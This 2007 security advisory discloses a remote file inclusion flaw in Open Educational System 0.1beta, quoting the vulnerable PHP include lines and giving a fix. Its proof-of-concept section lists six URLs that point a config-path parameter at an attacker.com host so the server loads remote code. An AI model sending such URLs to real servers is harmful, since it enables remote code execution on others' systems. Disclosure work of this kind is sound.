Rated as : Moderate Risk
____________________ ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/
.OR.ID
ECHO_ADV_69$2007
-----------------------------------------------------------------------------------------
[ECHO_ADV_69$2007] OES (Open Educational System) 0.1beta Remote File
Inclusion Vulnerability
-----------------------------------------------------------------------------------------
Author : M.Hasran Addahroni
Date : March, 12th 2007
Location : Australia, Sydney
Web : http://advisories.echo.or.id/adv/adv69-K-159-2007.txt
Critical Lvl : Dangerous
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : Open Educational System
version : 0.1beta
Vendor : http://openeducation.sourceforge.net
Description :
OES (Open Educational System) which is a free for use, open source, and
multi-platform, multi-language and user-friendy design online e-learning
platform.
The system is integrate and suitable use for any high-school, college or
university
---------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~~~~~~
- Invalid include function at includes/lib-account.inc.php :
----------------includes/lib-account.inc.php-------------------
<?php
// File : /include/lib-account.inc.php
//
// Description : This library is for administrator and normal user
account mangement.
// Include the configuration file.
include_once ( $CONF_CONFIG_PATH.'/config.inc.php' );
// Include the main include file for running all routine.
include_once ( $CONF_INCLUDE_PATH.'/library.inc.php' );
// Include the ADOdb Class
include_once ( $CONF_INCLUDE_PATH.'/adodb/adodb.inc.php');
...
----------------------------------------------------------------
Variables $CONF_INCLUDE_PATH is not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit
this vulnerability with a simple php injection script.
also affected files :
includes/lib-file.inc.php
includes/lib-group.inc.php
includes/lib-log.inc.php
includes/lib-mydb.inc.php
includes/lib-template-mod.inc.php
includes/lib-themes.inc.php
Poc/Exploit:
~~~~~~~~~~
http://www.target.com/[OES_path]/includes/lib-account.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-group.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-log.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-mydb.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-template-mod.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
http://www.target.com/[OES_path]/includes/lib-themes.inc.php?CONF_CONFIG_PATH=http://attacker.com/evil?
Solution:
~~~~~~~
- Sanitize variable $CONF_INCLUDE_PATH on affected files.
- Turn off register_globals
---------------------------------------------------------------------------
Shoutz:
~~~~~
~ ping - my dearest wife, and my little son, for all the luv the tears n
the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative, str0ke
(for the best comments)
~
masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ SinChan,h4ntu,cow_1seng,sakitjiwa, m_beben, rizal, cR4SH3R, madkid,
kuntua, stev_manado, nofry, x16
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~
K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/
-------------------------------- [ EOF ]
----------------------------------
securitydot.net - 2007-03-12
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